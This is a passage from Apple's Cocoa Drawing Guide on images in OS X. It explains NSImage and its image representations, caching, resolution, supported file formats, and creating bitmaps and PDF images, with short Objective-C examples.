for the following tasks: ● Loading existing images from disk. ● Drawing image data into your views. ● Creating new images. ● Scaling and resizing images. ● Converting images to any of several different formats. You can use images in your program for a variety of tasks. You can load images from existing image files (such as JPEG, GIF, PDF, and EPS files) to draw elements of your user interface that might be too difficult (or too inefficient) to draw using primitive shapes. You can also use images as offscreen or temporary buffers and capture a sequence of drawing commands that you want to use at a later time. Although bitmaps are one of the most common types of image, it is important not to think of the NSImage class as simply managing photographic or bitmap data. The NSImage class in Cocoa is capable of displaying a variety of image types and formats. It provides support for photograph and bitmap data in many standard formats. It also provides support for vector, or command-based data, such as PDF, EPS, and PICT. You can even use the NSImage class to represent an image created with the Core Image framework. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 74 ImagesImage Basics The NSImage class providesthe high-level interface for manipulating imagesin many different formats. Because it provides the high-level interface, NSImage knows almost nothing about managing the actual image data. Instead, the NSImage class manages one or more image representation objects—objects derived from the NSImageRep class. Each image representation object understands the image data for a particular format and is capable of rendering that data to the current context. The following sections provide insight into the relationship between image objects and image representations. Image Representations An image representation object represents an image at a specific size, using a specific color space, and in a specific data format. Image representations are used by an NSImage object to manage image data. An image representation object knows how to read image data from a file, write that data back to a file, and convert the image data to a raw bitmap that can then be rendered to the current context. Some image representations also provide an interface for manipulating the image data directly. For file-based images, NSImage creates an image representation object for each separate image stored in the file. Although most image formats support only a single image, formats such as TIFF allow multiple images to be stored. For example, a TIFF file might store both a full size version of an image and a thumbnail. If you are creating images dynamically, you are responsible for creating the image representation objects you need for your image. As with file-based images, most of the images you create need only a single image representation. Because NSImage is adept at scaling and adjusting images to fit the target canvas, it is usually not necessary to create different image representations at different resolutions. You might create multiple representations in the following situations, however: ● For printing, you might want to create a PDF representation or high-resolution bitmap of your image. ● You want to provide different content for your image when it is scaled to different sizes. When you draw an image, the NSImage object chooses the representation that is best suited for the target canvas. This choice is based on several factors, which are explained in “How an Image Representation Is Chosen” (page 77). If you want to ensure that a specific image representation is used, you can use the drawRepresentation:inRect: method of NSImage. Image Representation Classes Every image representation object is based on a subclass of NSImageRep. Cocoa defines several specific subclasses to handle commonly used formats. Table 5-1 lists the class and the image types it supports. Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 75Table 5-1 Image representation classes Supported Description types Class Handles bitmap data. Several common bitmap formats are supported directly. For custom image formats, you may have to decode the image data yourself before creating your image representation. An NSBitmapImageRep object uses any available color profile data (ICC or ColorSync) when rendering. TIFF, BMP, JPEG, GIF, PNG, DIB, ICO, among others NSBitmapImageRep This classis used internally by Cocoa to cache imagesfor drawing to the screen. You should not need to use this class directly. NSCachedImageRep Rendered data Provides a representation for a CIImage object, which itself supports most bitmap formats. NSCIImageRep N/A NSPDFImageRep PDF Handles the display of PDF data. Handles the display of PostScript or encapsulated PostScript data. NSEPSImageRep EPS Handles custom image data by passing it to a delegate object you provide. NSCustomImageRep Custom Handles the display of PICT format version 1, version 2, and extended version 2 pictures. The PICT format is a legacy format described in the Carbon QuickDraw Manager documentation. NSPICTImageRep PICT In most situations, you do not need to know how an image representation is created. For example, if you load an existing image from a file, NSImage automatically determines which type of image representation to create based on the file data. All you have to do is draw the image in your view. If you want to support new image formats, you can create a new image representation class. The NSImage class and its NSImageRep subclasses do not follow the class cluster model found in several other Cocoa classes. Creating new image representations is relatively straightforward and is explained in “Creating New Image Representation Classes” (page 109). Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 76How an Image Representation Is Chosen When you tell an NSImage object to draw itself, it searches its list of image representations for the one that best matches the attributes of the destination device. In determining which image representation to choose, it follows a set of ordered rules that compare the color space, image resolution, bit depth, and image size to the corresponding values in the destination device. The rules are applied in the following order: 1. Choose an image representation whose color space most closely matches the color space of the device. If the device is color, choose a color image representation. If the device is monochrome, choose a gray-scale image representation. 2. Choose an image representation that has at least as many pixels as the destination rectangle on both the horizontal and vertical axes. If no image representation matches exactly, choose the one that has more pixels than the destination. By default, any image representation with a resolution that’s an integer multiple of the device resolution is considered a match. If more than one representation matches, NSImage chooses the one that’s closest to the device resolution. You can force resolution matches to be exact by passing NO to the setMatchesOnMultipleResolution: method. You can force resolution matches to be exact on only one dimension by setting the setMatchesOnlyOnBestFittingAxis: property to YES. Thisrule prefers TIFF and bitmap representations, which have a defined resolution, over EPS representations, which do not. You can use the setUsesEPSOnResolutionMismatch: method to cause NSImage to choose an EPS representation in case a resolution match is not possible. 3. Choose a representation whose bit depth (bits per sample) matches the depth of the device. If no representation matches, choose the one with the highest number of bits per sample. You can change the order in which these rules are applied using the methods of NSImage. For example, if you want to invert the first and second rules, pass NO to the setPrefersColorMatch: method. Doing so causes NSImage to match the resolution before the color space. If these rules fail to narrow the choice to a single representation—for example, if the NSImage object has two color TIFF representations with the same resolution and depth—the chosen representation is operating-system dependent. Images and Caching The NSImage class incorporates an internal caching scheme aimed at improving your application’s drawing performance. This caching scheme is an important part of image management and is enabled by default for all image objects; however, you can change the caching optionsfor a particular image using the setCacheMode: method of NSImage. Table 5-2 lists the available caching modes. Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 77Table 5-2 Image caching modes Mode Description Use the default caching mode appropriate for the image representation. This is the default value. For more information, see Table 5-3 (page 78). NSImageCacheDefault NSImageCacheAlways Always caches a version of the image. Creates a cached version of the image if the size set for the image issmaller than the size of the actual image data. NSImageCacheBySize Does not cache the image. The image data is rasterized every time it is drawn. NSImageCacheNever Table 5-3 liststhe behavior of each image representation when its cache mode isset to NSImageCacheDefault. Table 5-3 Implied cache settings Image representation Cache behavior Behaves as if the NSImageCacheBySize setting were in effect. Creates a cached copy if the bitmap depth does not match the screen depth or if the bitmap resolution is greater than 72 dpi. NSBitmapImageRep NSCachedImageRep Not applicable. This class is used to implement caching. Behaves as if the NSImageCacheBySize setting were in effect. Creates a cached copy if the bitmap depth does not match the screen depth or if the bitmap resolution is greater than 72 dpi. NSCIImageRep NSPDFImageRep Behaves as if the NSImageCacheAlways setting were in effect. NSEPSImageRep Behaves as if the NSImageCacheAlways setting were in effect. NSCustomImageRep Behaves as if the NSImageCacheAlways setting were in effect. Behaves as if the NSImageCacheBySize setting were in effect. Creates a cached copy of the PICT image if it contains a bitmap whose depth does not match the screen depth or if that bitmap resolution is greater than 72 dpi. NSPICTImageRep Caching is a useful step toward preparing an image for display on the screen. When first loaded, the data for an image representation may not be in a format that can be rendered directly to the screen. For example, PDF data, when loaded into a PDF image representation, must be rasterized before it can be sent to the graphics card for display. With caching enabled, a NSPDFImageRep object rasterizes the PDF data before drawing it to Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 78the screen. The image representation then saves the raster data to alleviate the need to recreate it later. If you disable caching for such images, the rasterization process occurs each time you render the image, which can lead to a considerable performance penalty. For bitmap image representations, the decision to cache is dependent on the bitmap image data. If the bitmap’s colorspace, resolution, and bit depth match the corresponding attributesin the destination device, the bitmap may be used directly without any caching. If any of these attributes varies, however, the bitmap image representation may create a cached version instead. Important: It is important to remember that caching is aimed at improving performance during screen updates. During printing, Cocoa uses the native image data and resolution whenever possible and uses cached versions of the image only as a last resort. If you change the contents of an image representation object directly, you should invoke the recache method of the owning NSImage object when you are done and want the changes to be reflected on the screen. Cocoa does not automatically track the changes you make to your image representation objects. Instead, it continues to use the cached version of your image representation until you explicitly clear that cache using the recache method. Caching and Image Data Retention Because caching can lead to multiple copies of the image data in memory, NSImage usually dismisses the original image data once a cached copy is created. Dismissing the original image data saves memory and improves performance and is appropriate in situations where you do not plan on changing the image size or attributes. If you do plan on changing the image size or attributes, you may want to disable this behavior. Enabling data retention preventsimage degradation by basing changes on the original image data, as opposed to the currently cached copy. To retain image data for a specific image, you must send a setDataRetained: message to the NSImage object. Preferably, you should send this message immediately after creating the image object. If you send the message after rendering the image or locking focus on it, Cocoa may need to read the image data more than once. Caching Images Separately To improve performance, most caching of an application’s images occurs in one or more offscreen windows. These windows act as image repositories for the application and are not shared by other applications. Cocoa manages them automatically and assigns images to them based on the current image attributes. Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 79By default, Cocoa tries to reduce the number of offscreen windows by putting multiple images into a single window. For images whose size does not change frequently, this technique is usually faster than storing each image in its own window. For images whose size does change frequently, it may be better to cache the image separately by sending a setCachedSeparately: message to the image object. Image Size and Resolution Both NSImage and NSImageRep define methods for getting and setting the size of an image. The meaning of sizes can differ for each type of object, however. For NSImage, the size is always specified in units of the user coordinate space. Thus, an image that is 72 by 72 points is always rendered in a 1-inch square. For NSImageRep, the size is generally tied to the size of the native or cached bitmap. For resolution-independent image representations, a cached bitmap is created whose size matches that returned by NSImage. For true bitmap images, however, the size is equal to the width and height (in pixels) of the bitmap image. If you create your image from a data object or file, the NSImage object takes its image size information from the provided data. For example, with EPS data, the size is taken from the bounding rectangle, whereas with TIFF data, the size is taken from the ImageLength and ImageWidth fields. If you create a blank image, you must set the image size yourself when you initialize the NSImage object. You can change the size of an image at any time using the setSize: method of either NSImage or NSImageRep. The size returned by the NSImage version of the method representsthe dimensions of the image in the user coordinate space. Changing this value therefore changes the size of the image as it is drawn in one of your views. This change typically affects only the cached copy of the image data, if one exists. Changing the size of an image representation object changes the actual number of bits used to hold the image data. This change primarily affects bitmap images, and can result in a loss of data for your in-memory copy of the image. If the size of the data in an image representation is smaller than the rectangle into which it will be rendered, the image must be scaled to fit the target rectangle. For resolution-independent images, such as PDF images, scaling is less of an issue. For bitmap images, however, pixel values in the bitmap must be interpolated to fill in the extra space. Table 5-4 lists the available interpolation settings. Table 5-4 Image interpolation constants Interpolation constant Description NSImageInterpolationDefault Use the context’s default interpolation. NSImageInterpolationNone No interpolation. NSImageInterpolationLow Fast, low-quality interpolation. NSImageInterpolationHigh Slower, higher-quality interpolation. Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 80The preceding interpolation settings control both the quality and the speed of the interpolation algorithm. To change the currentinterpolation setting, use the setImageInterpolation:method of NSGraphicsContext. Note: Scaling affectsthe in-memory copy of image data only. It does not change data stored on-disk. With data retention disabled in an image, scaling the image multiple times can seriously degrade the resulting image quality. Making an image smaller through scaling is a lossy operation. If you subsequently make the image larger again by scaling, the results are based on the scaled-down version of the image. If you need several differentsizes of an image, you might want to create multiple image representation objects, one for each size, to avoid any lossy behavior. Alternatively, you can use the setDataRetained: method to ensure that the caching system has access to the original image data. Image Coordinate Systems Like views, NSImage objects use their own coordinate system to manage their content, which in this case is the image data itself. This internal coordinate system is independent of any containing views into which the image is drawn. Although you might think understanding this coordinate system is important for drawing images in your views, it actually is not. The purpose of the internal coordinate system is to orient the image data itself. As a result, the only time you should ever need to know about this internal coordinate system is when you create a new image by locking focus on an NSImage object and drawing into it. Image objects have two possible orientations: standard and flipped. When you create a new, empty NSImage object, you can set the orientation based on how you want to draw the image data. By default, images use the standard Cartesian (unflipped) coordinate system, but you can force them to use a flipped coordinate system by calling the setFlipped: method of NSImage prior to drawing. You must always set the image orientation before you lock focus on the image and start drawing though. Changing the orientation of the coordinate system after a lockFocus call has no effect. In addition, calling the setFlipped: method after you unlock focus again may not have the desired results and should be avoided. When drawing images in your view, you can think of the image as just a rectangle with some data in it. Regardless of the orientation of itsinternal coordinate system, you always place an image relative to the current view’s coordinate system. Figure 5-1 shows two images drawn in an unflipped view. The code used to draw Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 81each image uses the coordinate points shown in the figure, which are in the view’s (unflipped) coordinate system. Because the first image uses a flipped coordinate system internally, however, it drawsits content upside down. Figure 5-1 Image orientation in an unflipped view Drawing Versus Compositing The NSImage class offers different groups of methods to facilitate drawing your images to the current context. The two main groups of methods can be generally categorized asthe “drawing” versus“compositing” methods. There are three “drawing” methods of NSImage: ● drawAtPoint:fromRect:operation:fraction: ● drawInRect:fromRect:operation:fraction: ● drawRepresentation:inRect: The drawing methods are among the most commonly-used methods of NSImage because of their basic safety. Images are typically rendered in offscreen windows and then copied to the screen as needed. In some cases, several images may be composited into the same window for efficiency reasons. The draw methods use extra safety checking to ensure that only the contents of the current image are ever drawn in one of your views. The same is not true of compositing methods, of which there are the following: ● compositeToPoint:operation: ● compositeToPoint:fromRect:operation: ● compositeToPoint:fromRect:operation:fraction: ● compositeToPoint:operation:fraction: These methods can be more efficient than the drawing methods because they perform fewer checks on the image bounds. These methods do have other behaviors that you need to understand, however. The most important behavior is that the compositing methods undo any scale or rotation factors (but not translation Images Image Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 82factors) applied to the CTM prior to drawing. If you are drawing in a flipped view or manually applied scaling or rotation valuesto the current context, these methods will ignore those transformations. Although this might seem like a problem, it actually can be a very useful tool. For example, if your program is scaling a graphic element, you might want to add a scale value to your transform to do the scaling (at least temporarily). If your element usesimage-based selection handles, you could use the compositing methodsto prevent those handles from being scaled along with the rest of your graphic element. The other thing to remember about the compositing methods is that none of them allow you to scale your image to a target rectangle. Cocoa composites the entire image (or designated portion thereof) bit-for-bit to the specified location. This is in contrast to the drawInRect:fromRect:operation:fraction: method, which lets you scale all or part of your image to the designated target rectangle in your view. Note: The dissolveToPoint:fraction: and dissolveToPoint:fromRect:fraction: methods behave in a similar manner asthe corresponding compositing methods. Their use is generally more limited though and better support for dissolving images is available through Core Image. Supported Image File Formats Cocoa supports many common image formats internally and can import image data from many more formats through the use of the Image I/O framework (ImageIO.framework). Basic Formats Table 5-5 lists the formats supported natively by Cocoa. (Uppercase versions of the filename extensions are also recognized.) Table 5-5 Cocoa supported file formats Format Filename extensions UTI Portable Document Format (PDF) .pdf com.adobe.pdf .eps, .epi, .epsf, .epsi, .ps Encapsulated PostScript (EPS) Tagged Image File Format (TIFF) .tiff, .tif public.tiff public.jpeg, public.jpeg-2000 Joint Photographic Experts Group .jpg, .jpeg, .jpe (JPEG), JPEG-2000 Graphic Interchange Format (GIF) .gif com.compuserve.gif Images Supported Image File Formats 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 83Format Filename extensions UTI Portable Network Graphic (PNG) .png public.png Macintosh Picture Format (PICT) .pict, .pct, .pic com.apple.pict Windows Bitmap Format (DIB) .bmp, .BMPf com.microsoft.bmp Windows Icon Format .ico com.microsoft.ico Icon File Format .icns com.apple.icns TIFF Compression TIFF images can be read from compressed data, aslong asthe compression algorithm is one of the fourschemes described in Table 5-6. Table 5-6 TIFF compression settings Compression Description Compresses and decompresses without information loss, achieving compression ratios up to 5:1. It may be somewhat slower to compress and decompress than the PackBits scheme. LZW Compresses and decompresses without information loss, but may not achieve the same compression ratios as LZW. PackBits JPEG JPEG compression is no longer supported in TIFF files, and this factor is ignored. Compresses and decompresses 1 bit gray-scale images using international fax compression standards CCITT3 and CCITT4. CCITTFAX An NSImage object can also produce compressed TIFF data using any of these schemes. To get the TIFF data, use the TIFFRepresentationUsingCompression:factor: method of NSImage. Support for Other File Formats In OS X v10.4 and later, NSImage supports many additional file formats using the Image I/O framework. To get a complete list of supported filename extensions, use the imageFileTypes class method of NSImage. The list of supported file formats continues to grow but Table 5-7 lists some of the more common formats that can be imported. Images Supported Image File Formats 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 84Table 5-7 Additional formats supported by Cocoa Type Filename extension Adobe RAW .dng Canon 2 RAW .cr2 Canon RAW .crw FlashPix .fpx, .fpix Fuji RAW .raf Kodak RAW .dcr MacPaint .ptng, .pnt, .mac Minolta RAW .mrw Nikon RAW .nef Olympus RAW .orf OpenEXR .exr Photoshop .psd QuickTime Import Format .qti, .qtif Radiance .hdr SGI .sgi Sony RAW .srf Targa .targa, .tga Windows Cursor .cur XWindow bitmap .xbm The Image I/O framework is part of Quartz, although the actual framework is part of the Application Services framework. Image I/O handles the importing and exporting of many file formats. To use Quartz directly, you read image data using the CGImageSourceRef opaque type and write using the CGImageDestinationRef type. For more information on using the Image I/O framework to read and write images, see CGImageSource Reference and CGImageDestination Reference . Images Supported Image File Formats 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 85Guidelines for Using Images Here are some guidelines to help you work with images more effectively: ● Use the NSImage interface whenever possible. The goal of NSImage is to simplify your interactions with image data. Working directly with image representations should be done only as needed. ● Treat NSImage and its image representations as immutable objects. The goal of NSImage is to provide an efficient way to display images on the target canvas. Avoid manipulating the data of an image representation directly, especially if there are alternatives to manipulating the data, such as compositing the image and some other content into a new image object. ● For screen-based drawing, it is best to use the built-in caching mechanism of NSImage. Using an NSCachedImageRep object is more efficient than an NSBitmapImageRep object with the same data. Cached image representations store image data using a CGImageRef object, which can be stored directly on the video card by Quartz. ● There is little benefit to storing multiple representations of the same image (possibly at different sizes) in a single NSImage. Modern hardware is powerful enough to resize and scale images quickly. The only reason to considerstoring multiple representationsisif each of those representations contains a customized version of the image or if your app supports high-resolution displays. ● If caching is enabled and you modify an image representation object directly, be sure to invoke the recache method of the owning NSImage object. Cocoa relies on cached content wherever possible to improve performance and does not automatically recreate its caches when you modify image representations. You must tell the image object to recreate its caches explicitly. ● Avoid recreating art that is already provided by the system. OS X makes several standard pieces of artwork available for inclusion in your own interfaces. This artwork ranges from standard icons to other elements you can integrate into your controls. You load standard images using the imageNamed: method. For a list of standard artwork, see the constants section in NSImage Class Reference . ● If your app supports high resolution displays, follow the guidelines in High Resolution Guidelines for OS X for providing and naming standard- and high-resolution versions of image resources. That document also outlines additions and changes to the NSImage class as of OS X v10.7.4. OS X defines several technologies for working with images. Although the NSImage class is a good general purpose class for creating, manipulating, and drawing images, there may be times when it might be easier or more efficient to use other imaging technologies. For example, rather than manually dissolving from one image to another by drawing partially transparent versions of each image over time, it would be more efficient to use Core Image to perform the dissolve operation for you. For information about other image technologies, and when you might use them, see “Choosing the Right Imaging Technology” (page 169). Images Guidelines for Using Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 86Creating NSImage Objects Before you can draw an image, you have to create or load the image data. Cocoa supports several techniques for creating new images and loading existing images. Loading an Existing Image For existing images, you can load the image directly from a file or URL using the methods of NSImage. When you open an image file, NSImage automatically creates an image representation that best matches the type of data in that file. Cocoa supports numerous file formats internally. In OS X v10.4 and later, Cocoa supports even more file formats using the Image I/O framework. For information on supported file types,see “Supported Image File Formats” (page 83). The following example shows how to load an existing image from a file. It is important to remember that images loaded from an existing file are intended primarily for rendering. If you want to manipulate the data directly, copy it to an offscreen window or other local data structure and manipulate it there. NSString* imageName = [[NSBundle mainBundle] pathForResource:@"image1" ofType:@"JPG"]; NSImage* tempImage = [[NSImage alloc] initWithContentsOfFile:imageName]; Loading a Named Image For frequently used images, you can use the Application Kit’s named image registry to load and store them. This registry provides a fast and convenient way to retrieve images without creating a new NSImage object each time. You can add images to this registry explicitly or you can use the registry itself to load known system or application-specific images, such as the following: ● System images stored in the Resources directory of the Application Kit framework ● Your application’s icon or other images located in the Resources directory of your main bundle. To retrieve images from the registry, you use the imageNamed: class method of NSImage. This method looks in the registry for an image associated with the name you provide. If none is found, it looks for the image among the Application Kit's shared resources. After that, it looks for a file in the Resources directory of your application bundle, and finally it checks the Application Kit bundle. If it finds an image file, it loads the image, adds it to the registry, and returns the corresponding NSImage object. As long as the corresponding image object is retained somewhere by your code, subsequent attempts to retrieve the same image file return the already-loaded NSImage object. Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 87To retrieve your application icon, ask for an image with the constant, NSImageNameApplicationIcon (on versions of OS X before v10.6, you can use the string @"NSApplicationIcon"). Your application's custom icon is returned, if it has one; otherwise, Cocoa returns the generic application icon provided by the system. For a list of image names you can use to load other standard system images, see the constants section in NSImage Class Reference . In addition to loading existing image files, you can also add images to the registry explicitly by sending a setName: message to an NSImage object. The setName: method adds the image to the registry under the designated name. You might use this method in cases where the image was created dynamically or is not located in your application bundle. Note: When adding images to the registry explicitly, choose a name that does not match the name of any image in your application bundle. If you choose a name that is used by a bundle resource, the explicitly added image supersedesthat resource. You can still load the resource using the methods of NSBundle, however. Drawing to an Image by Locking Focus It is possible to create images programmatically by locking focus on an NSImage object and drawing other images or paths into the image context. This technique is most useful for creating images that you intend to render to the screen, although you can also save the resulting image data to a file. Listing 5-1 shows you how to create a new empty image and configure it for drawing. When creating a blank image, you mustspecify the size of the new image in pixels. If you lock focus on an image that contains existing content, the new content is composited with the old content. When drawing, you can use any routines that you would normally use when drawing to a view. Listing 5-1 Drawing to an image NSImage* anImage = [[NSImage alloc] initWithSize:NSMakeSize(100.0, 100.0)]; [anImage lockFocus]; // Do your drawing here... [anImage unlockFocus]; // Draw the image in the current context. [anImage drawAtPoint:NSMakePoint(0.0, 0.0) Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 88fromRect: NSMakeRect(0.0, 0.0, 100.0, 100.0) operation: NSCompositeSourceOver fraction: 1.0]; Drawing to an image creates an NSCachedImageRep object or uses an existing cached image representation, if one exists. Even when you use the lockFocusOnRepresentation: method to lock onto a specific image representation, you do not lock onto the representation itself. Instead, you lock onto the cached offscreen window associated with that image representation. This behavior might seem confusing but reinforces the notion of the immutability of images and their image representations. Images and their representations are considered immutable for efficiency and safety reasons. If you consider the image files stored in your application bundle, would you really want to make permanent changes to the original image? Rather than change the original image data, NSImage and its image representations modify a copy of that data. Modifying a cached copy of the data is also more efficient forscreen-based drawing because the data is already in a format ready for display on the screen. Drawing Offscreen Images Using a Block-Based Drawing Method to Support High Resolution Displays If your app uses the lockFocus and unlockFocus methods of the NSImage class for offscreen drawing, consider using the method imageWithSize:flipped:drawingHandler: instead (available in OS X v10.8). If you use the lock focus methodsfor drawing, you can get unexpected results—either you’ll get a low resolution NSImage object that looks incorrect when drawn, or you’ll get a 2x image that has more pixels in its bitmap than you are expecting. Using the imageWithSize:flipped:drawingHandler: method ensures you’ll get correct results under standard and high resolution. The drawing handler is a block that can be invoked whenever the image is drawn to, and on whatever thread the drawing occurs. You should make sure that any state you access within the block is done in a thread-safe manner. The code in the block should be the same code that you would use between the lockFocus and unlockFocus methods. Creating a Bitmap There are a few different ways to create bitmaps in Cocoa. Some of these techniques are more convenient than others and some may not be available in all versions of OS X, so you should consider each one carefully. The following list summarizes the most common techniques and the situations in which you might use them: ● To create a bitmap from the contents of an existing CIImage object (in OS X v10.5 and later), use the initWithCIImage: method of NSBitmapImageRep. Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 89● To create a bitmap from the contents of a Quartz image (in OS X v10.5 and later), use the initWithCGImage: method of NSBitmapImageRep. When initializing bitmaps using this method, you should treat the returned bitmap as a read-only object. In addition, you should avoid accessing the bitmap data directly, as doing so requires the unpacking of the CGImageRef data into a separate set of buffers. ● To capture the contents of an existing view or image, use one of the following techniques: ● Lock focus on the desired object and use the initWithFocusedViewRect: method of NSBitmapImageRep. ● In OS X v10.4 and later, use the bitmapImageRepForCachingDisplayInRect: and cacheDisplayInRect:toBitmapImageRep:methods of NSView. The firstmethod creates a bitmap image representation suitable for use in capturing the view's contents while the second draws the view contents to the bitmap. You can reuse the bitmap image representation object to update the view contents periodically, as long as you remember to clear the old bitmap before capturing a new one. ● To draw directly into a bitmap, create a new NSBitmapImageRep object with the parameters you want and use the graphicsContextWithBitmapImageRep: method of NSGraphicsContext to create a drawing context. Make the new context the current context and draw. This technique is available only in OS X v10.4 and later. Alternatively, you can create an NSImage object (or an offscreen window), draw into it, and then capture the image contents. This technique is supported in all versions of OS X. ● To create the bitmap bit-by-bit, create a new NSBitmapImageRep object with the parameters you want and manipulate the pixels directly. You can use the bitmapData method to get the raw pixel buffer. NSBitmapImageRep also defines methods for getting and setting individual pixel values. This technique is the most labor intensive but gives you the most control over the bitmap contents. For example, you might use it if you want to decode the raw image data yourself and transfer it to the bitmap image representation. The sections that follow provide examples on how to use the first two techniques from the preceding list. For information on how to manipulate a bitmap, see NSBitmapImageRep Class Reference . Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 90Important: In many operating systems, offscreen bitmaps are used to buffer the actual content of a view or window. In OS X, you should generally not use offscreen bitmaps in this way. Most OS X windows are already double-buffered to prevent rendering artifacts caused by drawing during a refresh cycle. Adding your own offscreen bitmap would result in your window being triple-buffered, which is a waste of memory. Capturing the Contents of a View or Image A simple way to create a bitmap is to capture the contents of an existing view or image. When capturing a view, the view can either belong to an onscreen window or be completely detached and not onscreen at all. When capturing an image, Cocoa chooses the image representation that provides the best match for your target bitmap. Before attempting to capture the contents of a view, you should consider invoking the view’s canDraw method to see if the view should be drawn. Cocoa views return NO from this method in situations where the view is currently hidden or not associated with a valid window. If you are trying to capture the current state of a view, you might use the canDraw method to prevent your code from capturing the view when it is hidden. Once you have your view or image, lock focus on it and use the initWithFocusedViewRect: method of NSBitmapImageRep to capture the contents. When using this method, you specify the exact rectangle you want to capture from the view or image. Thus, you can capture all of the contents or only a portion; you cannot scale the content you capture. The initWithFocusedViewRect: method captures the bits exactly as they appear in the focused image or view. Listing 5-2 shows how to create a bitmap representation from an existing image. The example gets the image to capture from a custom routine, locks focus on it, and creates the NSBitmapImageRep object. Your own implementation would need to replace the call to myGetCurrentImage with the code to create or get the image used by your program. Listing 5-2 Capturing the contents of an existing image NSImage* image = [self myGetCurrentImage]; NSSize size = [image size]; [image lockFocus]; NSBitmapImageRep* rep = [[NSBitmapImageRep alloc] initWithFocusedViewRect: NSMakeRect(0,0,size.width,size.height)]; [image unlockFocus]; Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 91To capture the content of an onscreen view, you would use code very much like the preceding example. After locking focus on the view, you would create your NSBitmapImageRep object using the initWithFocusedViewRect: method. To capture the content of a detached (offscreen) view, you must create an offscreen window for the view before you try to capture its contents. The window object provides a backing buffer in which to hold the view’s rendered content. As long as you do not order the window onto the screen, the origin you specify for your window does not really matter. The example in Listing 5-3 uses large negative values for the origin coordinates (just to make sure the window is not visible) but could just as easily use the coordinate (0, 0). Listing 5-3 Drawing to an offscreen window NSRect offscreenRect = NSMakeRect(-10000.0, -10000.0, windowSize.width, windowSize.height); NSWindow* offscreenWindow = [[NSWindow alloc] initWithContentRect:offscreenRect styleMask:NSBorderlessWindowMask backing:NSBackingStoreRetained defer:NO]; [offscreenWindow setContentView:myView]; [[offscreenWindow contentView] display]; // Draw to the backing buffer // Create the NSBitmapImageRep [[offscreenWindow contentView] lockFocus]; NSBitmapImageRep* rep = [[NSBitmapImageRep alloc] initWithFocusedViewRect: NSMakeRect(0, 0, windowSize.width, windowSize.height)]; // Clean up and delete the window, which is no longer needed. [[offscreenWindow contentView] unlockFocus]; [offscreenWindow release]; Drawing Directly to a Bitmap In OS X v10.4 and later, it is possible to create a bitmap image representation object and draw to it directly. This technique is simple and does not require the creation of any extraneous objects, such as an image or window. If your code needs to run in earlier versions of OS X, however, you cannot use this technique. Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 92Listing 5-4, creates a new NSBitmapImageRep object with the desired bit depth, resolution, and color space. It then creates a new graphics context object using the bitmap and makes that context the current context. Listing 5-4 Drawing directly to a bitmap NSRect offscreenRect = NSMakeRect(0.0, 0.0, 500.0, 500.0); NSBitmapImageRep* offscreenRep = nil; offscreenRep = [[NSBitmapImageRep alloc] initWithBitmapDataPlanes:nil pixelsWide:offscreenRect.size.width pixelsHigh:offscreenRect.size.height bitsPerSample:8 samplesPerPixel:4 hasAlpha:YES isPlanar:NO colorSpaceName:NSCalibratedRGBColorSpace bitmapFormat:0 bytesPerRow:(4 * offscreenRect.size.width) bitsPerPixel:32]; [NSGraphicsContext saveGraphicsState]; [NSGraphicsContext setCurrentContext:[NSGraphicsContext graphicsContextWithBitmapImageRep:offscreenRep]]; // Draw your content... [NSGraphicsContext restoreGraphicsState]; Once drawing is complete, you can add the bitmap image representation object to an NSImage object and display it like any other image. You can use this image representation object as a texture in your OpenGL code or examine the bits of the bitmap using the methods of NSBitmapImageRep. Creating a PDF or EPS Image Representation The process for creating an image representation for PDF or EPS data is the same for both. In both cases, you use a custom NSView object together with the Cocoa printing system to generate the desired data. From the generated data, you then create an image representation of the desired type. Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 93The NSView class defines two convenience methods for generating data based on the contents of the view: ● For PDF data, use the dataWithPDFInsideRect: method of NSView. ● For EPS data, use the dataWithEPSInsideRect: method of NSView. When you send one of these messages to your view, Cocoa launches the printing system, which drives the data generation process. The printing system handles most of the data generation process,sending appropriate messages to your view object as needed. For example, Cocoa sends a drawRect: message to your view for each page that needs to be drawn. The printing system also invokes other methods to compute page ranges and boundaries. Note: The NSView class provides a default pagination scheme. To provide a custom scheme, your view must override the knowsPageRange: and rectForPage: methods at a minimum. For more information about printing and pagination, see Printing Programming Guide for OS X . After the printing system finishes, the code that called either dataWithPDFInsideRect: or dataWithEPSInsideRect: receives an NSData object with the PDF or EPS data. You must then pass this object to the imageRepWithData: method of either NSEPSImageRep or NSPDFImageRep to initialize a new image representation object, which you can then add to your NSImage object. Listing 5-5 shows the basic steps for creating a PDF image from some view content. The view itself must be one that knows how to draw the desired content. This can be a detached view designed solely for drawing the desired content with any desired pagination, or it could be an existing view in one of your windows. Listing 5-5 Creating PDF data from a view MyPDFView* myView = GetMyPDFRenderView(); NSRect viewBounds = [myView bounds]; NSData* theData = [myView dataWithPDFInsideRect:viewBounds]; NSPDFImageRep* pdfRep = [NSPDFImageRep imageRepWithData:theData]; // Create a new image to hold the PDF representation. NSImage* pdfImage = [[NSImage alloc] initWithSize:viewBounds.size]; [pdfImage addRepresentation:pdfRep]; Images Creating NSImage Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 94If you choose to use an existing onscreen view, your view’s 